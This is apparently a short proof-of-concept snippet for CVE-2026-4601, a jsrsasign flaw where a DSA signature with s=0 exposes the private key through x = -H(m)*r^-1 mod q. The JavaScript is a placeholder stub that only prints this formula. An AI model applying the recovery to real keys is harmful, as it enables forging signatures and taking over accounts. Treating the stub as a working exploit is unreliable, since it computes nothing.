CVE-2026-4601 jsrsasign密钥恢复漏洞

// This PoC demonstrates the key recovery calculation if a vulnerable signature (s=0) is obtained. // Vulnerable environment: jsrsasign < 11.1.1 const { KJUR } = require('jsrsasign'); // Scenario: Attacker captures a message and a vulnerable signature where s=0 const message = "Target Message"; const sigHex = "00000000..."; // Hex string where s component is 0 // Parse the signature to get r and s const sig = new KJUR.crypto.Signature({"alg": "SHA1withDSA"}); sig.init({"d": "dummy_priv_key", "p": "...", "q": "...", "g": "..."}); // Context for parsing // In a real attack, the attacker observes the signature (r, 0) // and knows the message hash H(m). // The private key x can be calculated as: // x = -H(m) * r^(-1) mod q console.log("[!] If s=0, Private Key (x) is directly compromised via:"); console.log("x = -Hash(message) * modular_inverse(r, q)"); // Note: Forcing s=0 in the actual library requires triggering the internal bug // repeatedly until the random nonce k results in s=0.